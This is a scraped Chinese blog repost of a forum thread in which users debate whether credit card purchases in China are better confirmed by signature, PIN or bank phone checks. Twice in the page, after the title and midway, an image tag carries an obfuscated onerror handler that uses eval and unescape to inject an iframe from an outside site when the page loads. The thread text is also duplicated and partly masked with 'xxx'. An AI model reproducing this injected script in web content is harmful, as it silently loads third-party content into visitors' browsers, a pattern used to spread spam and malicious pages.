信用卡联机消费确认方式
[转贴 2010-01-10 10:15:04]
信用卡联机消费确认方式
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
信用卡消费确认方式
由2007年初《北京青年报》的一篇报道发端，xxx消费的确认方式成为业界和社会普遍关注的一个课题。哪一种确认方式更合理，牵涉到xx行的经营、风险管理、系统建设，以及受理市场建设和消费者习惯等大问题，实际上并不简单。
欢迎大家对此问题发表自己的观点。
--------------------------------------------------------------------
QUOTE:in_story 于 2007-6-16 15:17 写道：
信用卡消费确认方式
由2007年初《北京青年报》的一篇报道发端，xxx消费的确认方式成为业界和社会普遍关注的一个课题。哪一种确认方式更合理，牵涉到xx行的经营、风险管理、系统建设 ...
我感觉还是签子确认方式好一点
--------------------------------------------------------------------
QUOTE:in_story 于 2007-6-16 15:17 写道：
信用卡消费确认方式
由2007年初《北京青年报》的一篇报道发端，xxx消费的确认方式成为业界和社会普遍关注的一个课题。哪一种确认方式更合理，牵涉到xx行的经营、风险管理、系统建设 ...
--------------------------------------------------------------------
QUOTE:in_story 于 2007-6-16 15:17 写道：
信用卡消费确认方式
由2007年初《北京青年报》的一篇报道发端，xxx消费的确认方式成为业界和社会普遍关注的一个课题。哪一种确认方式更合理，牵涉到xx行的经营、风险管理、系统建设 ...
以签购单上的签字为准，这是最合理的。
--------------------------------------------------------------------
QUOTE:in_story 于 2007-6-16 15:17 写道：
信用卡消费确认方式
由2007年初《北京青年报》的一篇报道发端，xxx消费的确认方式成为业界和社会普遍关注的一个课题。哪一种确认方式更合理，牵涉到xx行的经营、风险管理、系统建设 ... 以后的等技术发展看吧，指纹等或许更方便安全些，但要技术及设备的支持。
--------------------------------------------------------------------
签字？现在有哪家商店的收银验签字的？？？生怕招行贷记卡掉了，被人透支就完蛋了：没有密码，收银又几乎没人验签字。一帮台湾人引进国外签字无需密码的方式，但又不像国外那样完善的挂失和拒付系统，不肯承担相应的拒付风险，还是四不像！！！
窃以为，在现在的挂失和拒付系统下，还是密码来得xxx些。
--------------------------------------------------------------------
有人认为，使用哪种方式有要保护的标的物的价值有关，即我们不能用100元去保护1元的东西，这是不经济的。也就是说，采用哪种方式应该是灵活。比如用卡加油可以既不签名也不用密码，但到珠宝店购买一件百万元的物品则不仅要密码和签名，还应该有其他的验证手段。换言之，银行对风险的控管应该是依靠一个体系。密码和签名只是技术层面的问题，在此之后还有许多更为关键的问题。
请大家点评。
--------------------------------------------------------------------
QUOTE:in_story 于 2007-6-18 10:30 写道：
有人认为，使用哪种方式有要保护的标的物的价值有关，即我们不能用100元去保护1元的东西，这是不经济的。也就是说，采用哪种方式应该是灵活。比如用卡加油可以既不签名也不用密码，但到珠宝店购买一件百万元的物品 ...
在招行卡版面，我听说有卡友刷大额款项后，招行即打来电话询问。我觉得这样也能提高些安全性。
--------------------------------------------------------------------
本来各家银行都有规定的，每天刷卡超过一定次数或金额，就要商户电话取人工授权，核对个人资料后才决定可否受理，这对那些非密码不能放心的用户来说，可以算一定的补偿了
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
信用卡消费确认方式
由2007年初《北京青年报》的一篇报道发端，xxx消费的确认方式成为业界和社会普遍关注的一个课题。哪一种确认方式更合理，牵涉到xx行的经营、风险管理、系统建设，以及受理市场建设和消费者习惯等大问题，实际上并不简单。
欢迎大家对此问题发表自己的观点。
--------------------------------------------------------------------
QUOTE:in_story 于 2007-6-16 15:17 写道：
信用卡消费确认方式
由2007年初《北京青年报》的一篇报道发端，xxx消费的确认方式成为业界和社会普遍关注的一个课题。哪一种确认方式更合理，牵涉到xx行的经营、风险管理、系统建设 ...
我感觉还是签子确认方式好一点
--------------------------------------------------------------------
QUOTE:in_story 于 2007-6-16 15:17 写道：
信用卡消费确认方式
由2007年初《北京青年报》的一篇报道发端，xxx消费的确认方式成为业界和社会普遍关注的一个课题。哪一种确认方式更合理，牵涉到xx行的经营、风险管理、系统建设 ...
--------------------------------------------------------------------
QUOTE:in_story 于 2007-6-16 15:17 写道：
信用卡消费确认方式
由2007年初《北京青年报》的一篇报道发端，xxx消费的确认方式成为业界和社会普遍关注的一个课题。哪一种确认方式更合理，牵涉到xx行的经营、风险管理、系统建设 ...
以签购单上的签字为准，这是最合理的。
--------------------------------------------------------------------
QUOTE:in_story 于 2007-6-16 15:17 写道：
信用卡消费确认方式
由2007年初《北京青年报》的一篇报道发端，xxx消费的确认方式成为业界和社会普遍关注的一个课题。哪一种确认方式更合理，牵涉到xx行的经营、风险管理、系统建设 ... 以后的等技术发展看吧，指纹等或许更方便安全些，但要技术及设备的支持。
--------------------------------------------------------------------
签字？现在有哪家商店的收银验签字的？？？生怕招行贷记卡掉了，被人透支就完蛋了：没有密码，收银又几乎没人验签字。一帮台湾人引进国外签字无需密码的方式，但又不像国外那样完善的挂失和拒付系统，不肯承担相应的拒付风险，还是四不像！！！
窃以为，在现在的挂失和拒付系统下，还是密码来得xxx些。
--------------------------------------------------------------------
有人认为，使用哪种方式有要保护的标的物的价值有关，即我们不能用100元去保护1元的东西，这是不经济的。也就是说，采用哪种方式应该是灵活。比如用卡加油可以既不签名也不用密码，但到珠宝店购买一件百万元的物品则不仅要密码和签名，还应该有其他的验证手段。换言之，银行对风险的控管应该是依靠一个体系。密码和签名只是技术层面的问题，在此之后还有许多更为关键的问题。
请大家点评。
--------------------------------------------------------------------
QUOTE:in_story 于 2007-6-18 10:30 写道：
有人认为，使用哪种方式有要保护的标的物的价值有关，即我们不能用100元去保护1元的东西，这是不经济的。也就是说，采用哪种方式应该是灵活。比如用卡加油可以既不签名也不用密码，但到珠宝店购买一件百万元的物品 ...
在招行卡版面，我听说有卡友刷大额款项后，招行即打来电话询问。我觉得这样也能提高些安全性。
--------------------------------------------------------------------
本来各家银行都有规定的，每天刷卡超过一定次数或金额，就要商户电话取人工授权，核对个人资料后才决定可否受理，这对那些非密码不能放心的用户来说，可以算一定的补偿了
郑重声明：资讯 【信用卡联机消费确认方式- xxx信息- archipelagos - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
